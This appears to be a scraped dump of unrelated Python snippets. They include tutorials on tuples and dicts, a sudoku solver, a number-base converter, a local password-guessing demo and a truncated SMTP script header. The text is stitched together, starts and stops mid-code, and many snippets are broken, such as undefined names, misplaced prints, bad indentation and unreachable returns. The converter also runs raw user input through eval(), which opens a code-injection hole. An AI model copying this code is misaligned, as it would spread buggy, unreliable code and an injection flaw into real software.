resulsts=cur.fetchall()    id, name, path = r[0], r[1], r[2]

    if path and not os.path.exists(path):
        print 'file not exist: ', id, name, path, flashpath

cur.close()
conn.close()

 



except MySQLdb.Error,e:
     print "Mysql Error %d: %s" % (e.args[0], e.args[1])




</pre> 

 

 



                    
 
#!/usr/bin/env python3
import subprocess
import sys

arg = sys.argv[1]

screeninfo = [
    s for s in subprocess.check_output("xrandr").decode("utf-8").split()\
    if s.count("+") == 2
    ]

if arg == "left":
    match = [s for s in screeninfo if s.endswith("+0+0")][0]
elif arg == "right":
    match = [s for s in screeninfo if not s.endswith("+0+0")][0]

data = [item.split("x") for item in match.split("+")]
numbers = [int(n) for n in [item for sublist in data for item in sublist]]
coord = [str(int(n)) for n in [(numbers[0]/2)+numbers[2], (numbers[1]/2)+numbers[3]]]

subprocess.Popen(["xdotool", "mousemove", coord[0], coord[1]])
tup = ('Timothée', 'Sandro', 'Aurélie', 'Fabrice')
print(tup)
print(tup[2])

y = (1, 6 , 8, 2)
print(y)
print(max(y))

l = list()
print('Methods you can use with a list:')
print(dir(l))

print()

t = tuple()
print('Methods you can use with a tuple:')
print(dir(t))

print()

# Tuples & Assignment
(x, y) = (4, 'Fred')
print(y)

print()

# Tuples & Dictionaries
d = dict()
d['fastoch'] = 82
d['Sandro'] = 16
for k,v in d.items():
    print(k, v)
print()
# The items() method in dictionaries returns a list of (key,value) tuples
tups = d.items()
print(tups)

print()

# Sorting lists of tuples
d = {'b':10, 'd':1, 'c':22, 'e':16, 'a':8}

# First, we sort the sort the dictionary by key using the items() method and sorted() function
print('Not sorted:', d.items())
keySorted = sorted(d.items())
print('Sorted by key:', keySorted)
for k,v in d.items():
    print(k, v)

print()

# Sorting by value instead of key
valuesFirst = list()
for k,v in d.items():
    valuesFirst.append((v,k))
print('(value, key) instead of (key, value):', valuesFirst)

valueSorted = sorted(valuesFirst)
print('Sorted by value:', valueSorted)

valueSortedReversed = sorted(valueSorted, reverse=True)
print('Sorted by value and reversed:', valueSortedReversed)

print()


# The top 10 most common words
fhand = open('romeo-full.txt') # open my file
counts = dict() # create a dictionary for storing each word's count
for line in fhand:
    words = line.split() # turn each line into a list of words
    for word in words:
        counts[word] = counts.get(word, 0) + 1 # initialize or increment counting
# We transfer our dictionary entries into a list of tuples
lst = list() 
for key, val in counts.items():
    newTuple = (val, key) # value becomes first element of each tuple, so that we can later sort by value
    lst.append(newTuple)

lst = sorted(lst, reverse=True) # sorting our list by value and reversing the order so that biggest values come first
# We print out top 10 most common words and the corresponding count
for val, key in lst[:10]:
    print(key, val)

# The split() method splits a string into a list. You can specify the separator, default separator is any whitespace.
print()


# Top 10 most common words - SHORTER VERSION
fhand = open('romeo-full.txt') 
counts = dict() 
for line in fhand:
    words = line.split() # default separator = whitespace
    for word in words:
        counts[word] = counts.get(word, 0) + 1
reversedSortedTuple = sorted([(v,k) for k,v in counts.items()], reverse=True) # reverse=True is for sorting from highest value to lowest
for v,k in reversedSortedTuple[:10]:
    print(k,v)

Regime_Dates_df.index = Regime_Dates_df.DATE
Regime_Dates_df['MONTH_YEAR'] = pd.to_datetime(Regime_Dates_df.index).to_period('M')
>>> text = (("Hi", "Steve!"), ("What's", "up?"))
>>> [word for sentence in text for word in sentence]
['Hi', 'Steve!', "What's", 'up?']

# my version
asd = [ row for row in list_of_rows for column in row if 'Fachdienst PF' in column ]
import numpy as np

def cross_entropy(p, q):
return -sum([p[i] * np.log(q[i]) for i in range(len(p))])

p = [0, 0, 0, 1]
q = [0.45, 0.2, 0.02, 0.33]
cross_entropy(p, q)
import magic

filename = '/home/jovyan/pi-ml/data/images/'+'W074FLEB9138.tiff'

# Open the file in binary mode
with open(filename, 'rb') as f:
    # Create a magic object 
    magic_obj = magic.Magic()

    # Use magic to identify the file type
    file_type = magic_obj.from_buffer(f.read())

print(file_type)
import openai

openai.Completion.create(
  engine="davinci",
  prompt="Make a list of astronomical observatories:"
)
def async_session(func):
    async def wrapper(*args, **kwargs):
        async with get_async_session() as session:
            return await func(session, *args, **kwargs)

    return wrapper
# ----------------------------------------------------------------------------------------------------------------------
@cython.boundscheck(False)
@cython.wraparound(False)
@cython.cdivision(True)
@cython.nonecheck(False)
cpdef object get_boundaries(object data):
    """
    For a given field of pixels, this method returns a black and white mask, by using the "get_row_boundaries" method
    for each row and column.

    This is pretty fast, as it can rely on the power of numpy to do this operation very quickly.
    """
    cdef object rows = data.copy().astype(float)

    # -- row boundaries
    for i in range(len(data)):
        rows[i] = get_row_boundaries(data[i])

    # -- to get the boundary mask of our columns, transpose the image, shifting columns into rows
    cdef object columns = data.copy().T
    cdef object column_data = data.T

    # -- column boundaries
    for i in range(len(column_data)):
        columns[i] = get_row_boundaries(column_data[i])

    # -- having created our column mask, transpose it back.
    columns = columns.T

    # -- now combine both maps.
    return np.maximum(rows, columns)
# ----------------------------------------------------------------------------------------------------------------------
cpdef object get_row_boundaries(object row):
    """
    For a given row of pixels, this method returns a white pixel wherever a transition of values happens. The output is
    pure black and white, and expects an input of pure black and white.

    The way this is achieved, is by shifting the pixels in the row first left, then right, by one pixel. The shifted
    row (missing pixels filled with a value of 0) is then subtracted from the original, resulting in, for the right-
    shifted version, a white pixel where black turned into white, and for the left-shifted version, a white pixel
    where white turned into black.

    Taking the max() value of the combination of both of these gives us our boundary pixels for this row.
    """
    # -- this will give us a white pixel where black turned into white
    rising_diff = row - shift(row, 1, fill_value=0)

    # -- this will give us a white pixel where white turned into black
    decreasing_diff = row - shift(row, -1, fill_value=0)

    # -- this will combine both masks and give us the max() of both combined.
    return np.maximum(rising_diff, decreasing_diff)
Get average of a list

Copy
Julien Delange

Python public recipes


sum(mylist) / len(mylist)
Function to get average of a list
read csv file

Copy
Julien Delange

Python public recipes


with open(file_name, mode ='r', encoding='utf-8') as file:
  # reading the CSV file
  csvFile = csv.DictReader(file)
  # displaying the contents of the CSV file
  for line in csvFile:
    
# For forcefully stopping the program when done.
import sys

# For memory optimization purposes.
import os

# List of all possible characters to search through.
characters = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "`", "-", "=", "[", "]", "\\", ";", "'", ",", ".", "/", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "~", "_", "+", "{", "}", "|", ":", '"', "<", ">", "?"]

# Ask for the actual password that is trying to be found.
password = input("Enter the password trying to be brute forced: ")

# What method user wants to go through.
process = input("\nWould you like to display the process?\n\nNote: agreeing to display the process means the program will take a much longer time to run.\n\nSo, yes or no? ")

# Check if the process input is "no".
if process.lower() == "no":
  # Create an empty list to store the indexes of the characters in the password.
  indexes = []

  # loop through each character in the password.
  for character in password:
    # Set the index to 1.
    index = 1
    # Loop through each value in the characters list.
    for value in characters:
      # If the character is found in the characters list, append the index to the indexes list.
      if character == value:
        indexes.append(index)
      # Increment the index if the character is not found.
      else:
        index += 1

  # Set the first index value to 1.
  index = 1
  # Set the second index value to 0.
  index2 = 0
  # Set the number of tries to 0.
  tries = 0
  # Loop through the length of the indexes list minus one.
  for i in range(len(indexes)-1):
    # Calculate the temporary value.
    temp = (94 ** index) * indexes[index2]
    # Add the temporary value to the number of tries.
    tries += temp
    # Increment the second index value and the first index value.
    index2 += 1
    index += 1
    
  # Add the last element of the indexes list to the number of tries.
  tries += indexes[-1]

  # Print the final result of the number of tries taken.
  print("\nThe password was guessed in", tries, "tries.")
  
# Check if the process input is "yes".
elif process.lower() == "yes":
  # Set the guessed password equal to the characters list.
  guessed = characters
  # Set the number of tries to 0 and the guess value to 0.
  tries = 0
  guess = 0
  # Create an empty list for the estimates.
  estimates = []
    
  # Loop through each character in the characters list.
  for character in characters:
    # Increment the number of tries each iteration.
    tries += 1
    
    # Check if the current character is equal to the password.
    if character == password:
      # Print the result and exit the program if the password is guessed.
      print("Password guessed in", tries, "tries.")
      sys.exit()

  # Create an empty list for temporary values.
  temp = []
  # Set the number of loops to 0.
  loops = 0
  
  # Continue looping until the correct password is guessed.
  while guess != password:
    # Loop through each value in the guessed list.
    for value in guessed:
      # Loop through each character in the characters list.
      for character in characters:
        # Combine the current value and character to form a possibility.
        possibility = value + character
        # Increment the number of tries.
        tries += 1
        # Clear the terminal screen.
        os.system('clear')
        # Display the password, current guess, and number of tries.
        print("Password:", password)
        print("Current Guess:", possibility, "\nTry Number", tries)
        
        # Check if the possibility is equal to the password.
        if possibility == password:
          # Print the result and exit the program if the password is guessed.
          print("\nPassword guessed in", tries, "tries.")
          sys.exit()
          
        else:
          # Add the possibility to the temp list if it's not equal to the password.
          temp.append(possibility)
          
    # Set the guessed list to an empty list.
    guessed = []
    # Set the guessed list to the temp list.
    guessed = temp
    # Set the temp list to an empty list.
    temp = []

### RANDOM PASSWORD GENERATOR FOR TESTING ###
import random

desired_length = int(input())

random_output = []

characters = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "`", "-", "=", "[", "]", "\\", ";", "'", ",", ".", "/", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "~", "_", "+", "{", "}", "|", ":", '"', "<", ">", "?"]

for iteration in range(desired_length):
    random_output.append(random.choice(characters))	

print(*random_output, sep="")
# Internet Speed tester
# pip install speedtest-cli
import speedtest as st

# Set Best Server
server = st.Speedtest()
server.get_best_server()

# Test Download Speed
down = server.download()
down = down / 1000000
print(f"Download Speed: {down} Mb/s")

# Test Upload Speed
up = server.upload()
up = up / 1000000
print(f"Upload Speed: {up} Mb/s")

# Test Ping
ping = server.results.ping
print(f"Ping Speed: {ping}")

from __future__ import with_statement
import contextlib
try:
	from urllib.parse import urlencode
except ImportError:
	from urllib import urlencode
try:
	from urllib.request import urlopen
except ImportError:
	from urllib2 import urlopen
import sys

def make_tiny(url):
	request_url = ('http://tinyurl.com/app-index.php?' + 
	urlencode({'url':url}))
	with contextlib.closing(urlopen(request_url)) as response:
		return response.read().decode('utf-8')

def main():
	for tinyurl in map(make_tiny, sys.argv[1:]):
		print(tinyurl)

if __name__ == '__main__':
	main()
    

'''

-----------------------------OUTPUT------------------------
python url_shortener.py https://www.wikipedia.org/
https://tinyurl.com/bif4t9

'''
    
from difflib import SequenceMatcher
def plagiarism_checker(f1,f2):
    with open(f1,errors="ignore") as file1,open(f2,errors="ignore") as file2:
        f1_data=file1.read()
        f2_data=file2.read()
        res=SequenceMatcher(None, f1_data, f2_data).ratio()
        
print(f"These files are {res*100} % similar")
f1=input("Enter file_1 path: ")
f2=input("Enter file_2 path: ")
plagiarism_checker(f1, f2)
from fpdf import FPDF
Pdf = FPDF()

list_of_images = ["wall.jpg", "nature.jpg","cat.jpg"]
for i in list_of_images:
   Pdf.add_page()
   Pdf.image(i,x,y,w,h)
   Pdf.output("result.pdf", "F")
import os
import img2pdf
with open("output.pdf", "wb") as file:
   file.write(img2pdf.convert([i for i in os.listdir('path to image') if i.endswith(".jpg")]))
from pygame import mixer
from gtts import gTTS

def main():
   tts = gTTS('Like This Article')
   tts.save('output.mp3')
   mixer.init()
   mixer.music.load('output.mp3')
   mixer.music.play()
   
if __name__ == "__main__":
   main()
import pytube

link = input('Youtube Video URL')
video_download = pytube.Youtube(link)
video_download.streams.first().download()
print('Video Downloaded', link)
import PIL
from PIL import Image
from tkinter.filedialog import *

fl=askopenfilenames()
img = Image.open(fl[0])
img.save("output.jpg", "JPEG", optimize = True, quality = 10)
import PIL
from PIL import Image
from tkinter.filedialog import *

fl=askopenfilenames()
img = Image.open(fl[0])
img.save("output.jpg", "JPEG", optimize = True, quality = 10)
import tabula

filename = input("Enter File Path: ")
df = tabula.read_pdf(filename, encoding='utf-8', spreadsheet=True, pages='1')

df.to_csv('output.csv')
# Python Proofreading
# pip install lmproof
import lmproof
def proofread(text):
    proofread = lmproof.load("en")
    correction = proofread.proofread(text)
    print("Original: {}".format(text))
    print("Correction: {}".format(correction))
    
proofread("Your Text")
from random import*

def set_grid(level):
    grid = [[0]*9 for i in range(9)]
    n_fill = level
    rand_el = randint(1, 9)
    rand_r = randint(0, 8)
    rand_c = randint(0, 8)
   
    while n_fill != 0:
        while not valid_setting(rand_r, rand_c, rand_el, grid):
            rand_el = randint(1, 9)
            rand_r = randint(0, 8)
            rand_c = randint(0, 8)
                   
        grid[rand_r][rand_c] = rand_el
        n_fill -= 1
       
    return grid

def valid_setting(r, c, el, grid):
   
    if grid[r][c] != 0:
        return False


    if el in grid[r]:
        return False
   
    for row in grid:
        if row[c] == el:
            return False

    start_r = r - r % 3
    start_c = c - c % 3

    for r_idx in range(start_r, start_r + 3):
        for c_idx in range(start_c, start_c + 3):
            if grid[r_idx][c_idx] == el:
                return False
    return True

def print_grid(grid):
    print()
    for el in grid:
        print(el)
    print()
   
def move_r(r, c):
    if c == 8:
        return r + 1
    else:
        return r
def move_c(c):
    if c == 8:
        return 0
    else:
        return c + 1

def solve(r, c, grid):
    if r == 9 and c == 0:
        return True
   
    if grid[r][c] != 0:
        return solve(move_r(r, c), move_c(c), grid)
   
    for el in range(1, 10):
        if valid_setting(r, c, el, grid):
            grid[r][c] = el
            if solve(move_r(r, c), move_c(c), grid):
                return True
            grid[r][c] = 0
       
    return False    

def check_solved(gird):
    for r in range(0, 9):
        for c in range(0, 9):
            if not_valid(r, c, grid):
                return False
    return True

def not_valid(r, c, grid):
    el = grid[r][c]
    
    if el in grid[0:r] + grid[r+1:] :
        return True
    
    for row in range(0, 9):
        if grid[row][c] == el:
            if row == r:
                continue
                return True

    start_r = r - r % 3
    start_c = c - c % 3

    for r_idx in range(start_r, start_r + 3):
        for c_idx in range(start_c, start_c + 3):
            if grid[r_idx][c_idx] == el:
                if r_idx == r and c_idx == c:
                    continue
                    return True
    return False
    
grid = set_grid(15)
print_grid(grid)
solve(0, 0, grid)
print_grid(grid)
print("Sudoku Solved: ", check_solved(grid))
def string_to_binary(requested_conversion):
    converted_output = []
    for char in requested_conversion:
        converted_output.append(bin(ord(char)))
    print(*converted_output)

def decimal_to_binary(requested_conversion):
    print(bin(requested_conversion))

def binary_to_decimal(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == '1':
            decimal_num += 2 ** bit_power
        else:
            decimal_num += 0
        concurrent_bit += 1
        bit_power += 1
    print(decimal_num)

# The function below is a copy of the original but for the purpose of the binary_to_string function and binary_to_hex function.
def binary_to_decimal_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == '1':
            decimal_num += 2 ** bit_power
        else:
            decimal_num += 0
        concurrent_bit += 1
        bit_power += 1
    return decimal_num

def binary_to_string(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_string = []
    for char_binary_set in requested_conversion:
        integer_char_code = chr(binary_to_decimal_special(char_binary_set))
        list_of_chars_in_string.append(integer_char_code)
    print(*list_of_chars_in_string, sep="")

def string_to_hex(requested_conversion):
    converted_output = []
    for char in requested_conversion:
        converted_output.append(hex(ord(char)))
    print(*converted_output)
    
def decimal_to_hex(requested_conversion):
    print(hex(requested_conversion))

def hex_to_decimal(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            decimal_num += 10 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'b':
            decimal_num += 11 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'c':
            decimal_num += 12 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'd':
            decimal_num += 13 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'e':
            decimal_num += 14 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'f':
            decimal_num += 15 * (16 ** bit_power)
        else:
            decimal_num += int(digit) * (16 ** bit_power)
        concurrent_bit += 1
        bit_power += 1
    print(decimal_num)

# The function below is a copy of the original but for the purpose of the hex_to_string function.
def hex_to_decimal_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            decimal_num += 10 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'b':
            decimal_num += 11 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'c':
            decimal_num += 12 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'd':
            decimal_num += 13 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'e':
            decimal_num += 14 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'f':
            decimal_num += 15 * (16 ** bit_power)
        else:
            decimal_num += int(digit) * (16 ** bit_power)
        concurrent_bit += 1
        bit_power += 1
    return decimal_num
    
def hex_to_string(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_string = []
    for char_hexa_set in requested_conversion:
        integer_char_code = chr(hex_to_decimal_special(char_hexa_set))
        list_of_chars_in_string.append(integer_char_code)
    print(*list_of_chars_in_string, sep="")

def hex_to_binary_decimalversion(requested_conversion):
    requested_conversion = requested_conversion[2:]
    concurrent_bit = 0
    list_of_binary_portions = []
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            binary_translation = str(bin(10))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'b':
            binary_translation = str(bin(11))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'c':
            binary_translation = str(bin(12))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'd':
            binary_translation = str(bin(13))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'e':
            binary_translation = str(bin(14))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'f':
            binary_translation = str(bin(15))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        else:
            binary_translation = str(bin(int(digit)))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        concurrent_bit += 1
    for portion_index in range(len(list_of_binary_portions)):
        if len(list_of_binary_portions[portion_index]) == 1:
            list_of_binary_portions[portion_index] = "000" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 2:
            list_of_binary_portions[portion_index] = "00" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 3:
            list_of_binary_portions[portion_index] = "0" + list_of_binary_portions[portion_index]
        else:
            list_of_binary_portions[portion_index] = list_of_binary_portions[portion_index]
    list_of_binary_portions.insert(0, "0b")
    print(*list_of_binary_portions, sep="")

# The function below is a copy of the original but for the purpose of the hex_to_binary_stringversion function.
def hex_to_binary_decimalversion_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    concurrent_bit = 0
    list_of_binary_portions = []
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            binary_translation = str(bin(10))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'b':
            binary_translation = str(bin(11))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'c':
            binary_translation = str(bin(12))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'd':
            binary_translation = str(bin(13))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'e':
            binary_translation = str(bin(14))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'f':
            binary_translation = str(bin(15))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        else:
            binary_translation = str(bin(int(digit)))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        concurrent_bit += 1
    for portion_index in range(len(list_of_binary_portions)):
        if len(list_of_binary_portions[portion_index]) == 1:
            list_of_binary_portions[portion_index] = "000" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 2:
            list_of_binary_portions[portion_index] = "00" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 3:
            list_of_binary_portions[portion_index] = "0" + list_of_binary_portions[portion_index]
        else:
            list_of_binary_portions[portion_index] = list_of_binary_portions[portion_index]
    list_of_binary_portions.insert(0, "0b")
    return "".join(list_of_binary_portions)

import math

def binary_to_hex_decimalversion(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    splitting_iterations = math.floor(len(requested_conversion) / 4)
    split_binary_product = []
    for split in range(splitting_iterations):
        split_binary_product.append(requested_conversion[:4])
        requested_conversion = requested_conversion[4:]
    if len(requested_conversion) > 0:
        split_binary_product.append(requested_conversion)
    index_of_product = 0
    for i in range(len(split_binary_product)):
        split_binary_product[index_of_product] = split_binary_product[index_of_product][::-1]
        index_of_product += 1
    split_binary_product.reverse()
    index_of_product = 0
    for i in range(len(split_binary_product)):
        binary_to_decimal_special(split_binary_product[index_of_product])
        index_of_product += 1
    index_of_product = 0
    split_hex_products = []
    for i in range(len(split_binary_product)):
        split_hex_products.append(int(split_binary_product[index_of_product], 2))
        index_of_product += 1
    
    for portion_num in range(len(split_hex_products)):
        if split_hex_products[portion_num] == 10:
            split_hex_products[portion_num] = 'a'
        elif split_hex_products[portion_num] == 11:
            split_hex_products[portion_num] = 'b'
        elif split_hex_products[portion_num] == 12:
            split_hex_products[portion_num] = 'c'
        elif split_hex_products[portion_num] == 13:
            split_hex_products[portion_num] = 'd'
        elif split_hex_products[portion_num] == 14:
            split_hex_products[portion_num] = 'e'
        elif split_hex_products[portion_num] == 15:
            split_hex_products[portion_num] = 'f'
        else:
            split_hex_products[portion_num] = split_hex_products[portion_num]
    split_hex_products.insert(0, '0x')
    print(*split_hex_products, sep="")
    
# The function below is a copy of the original but for the purpose of the binary_to_hex_stringversion function.
def binary_to_decimal_special_v2(requested_conversion):
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == '1':
            decimal_num += 2 ** bit_power
        else:
            decimal_num += 0
        concurrent_bit += 1
        bit_power += 1
    return decimal_num
    
# The function below is a copy of the original but for the purpose of the binary_to_hex_stringversion function.
def binary_to_hex_decimalversion_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    splitting_iterations = math.floor(len(requested_conversion) / 4)
    split_binary_product = []
    for split in range(splitting_iterations):
        split_binary_product.append(requested_conversion[:4])
        requested_conversion = requested_conversion[4:]
    if len(requested_conversion) > 0:
        split_binary_product.append(requested_conversion)
    index_of_product = 0
    for i in range(len(split_binary_product)):
        split_binary_product[index_of_product] = split_binary_product[index_of_product][::-1]
        index_of_product += 1
    split_binary_product.reverse()
    index_of_product = 0
    for i in range(len(split_binary_product)):
        binary_to_decimal_special_v2(split_binary_product[index_of_product])
        index_of_product += 1
    index_of_product = 0
    split_hex_products = []
    for i in range(len(split_binary_product)):
        split_hex_products.append(int(split_binary_product[index_of_product], 2))
        index_of_product += 1
    
    for portion_num in range(len(split_hex_products)):
        if split_hex_products[portion_num] == 10:
            split_hex_products[portion_num] = 'a'
        elif split_hex_products[portion_num] == 11:
            split_hex_products[portion_num] = 'b'
        elif split_hex_products[portion_num] == 12:
            split_hex_products[portion_num] = 'c'
        elif split_hex_products[portion_num] == 13:
            split_hex_products[portion_num] = 'd'
        elif split_hex_products[portion_num] == 14:
            split_hex_products[portion_num] = 'e'
        elif split_hex_products[portion_num] == 15:
            split_hex_products[portion_num] = 'f'
        else:
            split_hex_products[portion_num] = split_hex_products[portion_num]
    split_hex_products.insert(0, '0x')
    for product in range(len(split_hex_products)):
        split_hex_products[product] = str(split_hex_products[product])
    return "".join(split_hex_products)

def hex_to_binary_stringversion(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_binary_string = []
    for char_hex_set in requested_conversion:
        binary_converted = hex_to_binary_decimalversion_special(char_hex_set)
        list_of_chars_in_binary_string.append(binary_converted)
    print(*list_of_chars_in_binary_string, sep=" ")

def binary_to_hex_stringversion(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_hex_string = []
    for char_binary_set in requested_conversion:
        hex_converted = binary_to_hex_decimalversion_special(char_binary_set)
        list_of_chars_in_hex_string.append(hex_converted)
    print(*list_of_chars_in_hex_string, sep=" ")

import sys

def MainMenu():
    while True:
      print("Welcome to the compoooter decipherer. This program can meet all your needs regarding the languages of binary, hexadecimal, and regular decimal/string.\n\n")  
      
      print("""So, in terms of conversions, the following methods are available:\n
    string_to_binary → format exemplar: "Hi"
    decimal_to_binary → format exemplar: 10
    decimal_to_hex → format exemplar: 10
    string_to_hex → format exemplar: "Hi"
    binary_to_decimal → format exemplar: "0b1010"
    binary_to_string → format exemplar: "0b01001000 0b01101001"
    hex_to_decimal → format exemplar: "0xa"
    hex_to_string → format exemplar: "4869"
    hex_to_binary_decimalversion → format exemplar: "0xa"
    hex_to_binary_stringversion → format exemplar: "4869"
    binary_to_hex_decimalversion → format exemplar: "0b1010"
    binary_to_hex_stringversion → format exemplar: "0b01001000 0b01101001"\n""")

      print("\nMake sure to go through all of these, and figure out which ones you want to use. In the exemplars, any time a number is involved in conversion, it is the number '10'. Any time a string is involved in conversion, it is the string 'Hi'. So, let's get to converting!\n\n")

      print("_"*10 + "\n\n")
        
      UseConversion()
        
      print("_"*10 + "\n")
      confirmation = str(input("Would you like to perform another conversion?\n\nType 'Y' for if you would like to go back to the menu, or 'N' if you want to terminate the program: "))
      if confirmation.upper() == 'Y':
          print("\nOkay! Redirecting you back to the beginning.\n\n")
          continue
      elif confirmation.upper() == 'N':
          print("\nOkay! Terminating the program.")
          sys.exit()
      else:
        print("\nInvalid input given. Terminating program anyway.")
        sys.exit()

def UseConversion():
    method = str(input("Above was given a list of the different conversion functions which are usable. So, what method would you like to use?\n\nType the function exactly how it said in the list here:\n\n"))
    print("")
    parameters = str(input("All right, so what are you wanting to convert? Type your conversion request in the appropriate format needed here:\n\n"))
    try:
      print("\nVery well then. The conversion has been performed, and your converted request should be below (if it succeeded):\n")
      eval(method + "(" + parameters + ")")
      print("\n\nGo ahead and use that for whatever you need to. Or, use the converter again with this converted product to convert it to something else!\n")
    except NameError:
      print("\nIt seems you spelt the name of the function incorrectly. Go back to the list above, and type out the function you want to use exactly.\n\n")
      UseConversion()
    except TypeError:
      print("\nIt seems you provided an incorrect input to the conversion. Make sure you are providing the exact format you specified with the function you are trying to use. Also, please go back and refer to the format exemplars in the list above to see how each input for each function should be formatted.\n\n")
      UseConversion()

# Run the program
MainMenu()


# Program that generates a random number:
# Use it to flex or test the limits.
"""import random

num_of_digits = int(input())
randomly_generated_num = []

for iteration in range(num_of_digits+1):
    randomly_generated_num.append(random.randint(0, 9))

print(*randomly_generated_num, sep="")"""
def parsed_df(**kwargs):
    # First define the format and then define the function
    timeFormat = "%Y-%m-%d %H:%M:%S UTC"
    # This function will iterate over each string in a 1-d array
    # and use Pandas' implementation of strptime to convert the string into a datetime object.
    parseTime = lambda x: datetime.strptime(x, timeFormat)
    return pd.read_csv('/path/to/file.csv',parse_dates=['time'], date_parser=parseTime).set_index('time') 
import plotly.express as px
import pandas as pd

# Sample DataFrame with three columns: "INSTANCE", "YMD", and "target_count"
df = pd.DataFrame({
    "INSTANCE": ["A", "B", "C", "D", "E"],
    "YMD": ["2021-01-01", "2021-01-02", "2021-01-03", "2021-01-04", "2021-01-05"],
    "target_count": [10, 20, 30, 40, 50]
})
df["YMD"] = pd.to_datetime(df["YMD"])

# Create a new column "weekend" to indicate whether the date is on a weekend
df["weekend"] = df["YMD"].dt.dayofweek >= 5

# Create the bar graph
fig = px.bar(df, x="INSTANCE", y="target_count", color="weekend")

# Show the graph
fig.show()
# variation of https://python-forum.io/thread-21314.html

table = soup.find_all('table')[2]		# we receive a list of tables
table_body = table.find('tbody')

data = [] 
rows = table_body.find_all('tr')
for row in rows:
    cols = row.find_all(['td', 'th'])	# consider rows AND headers 
    cols = [ele for ele in cols]		# get html tags, not .text 
    data.append([ele for ele in cols if ele])

# directly via pandas
import pandas as pd
dfs = pd.read_html(content[1]['body'])				#list of
dfs[0].columns = ['key', 'value']					# set column names
dfs[0]#[dfs[0].key == 'Status'].iloc[0]['value']	# read cell value
#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
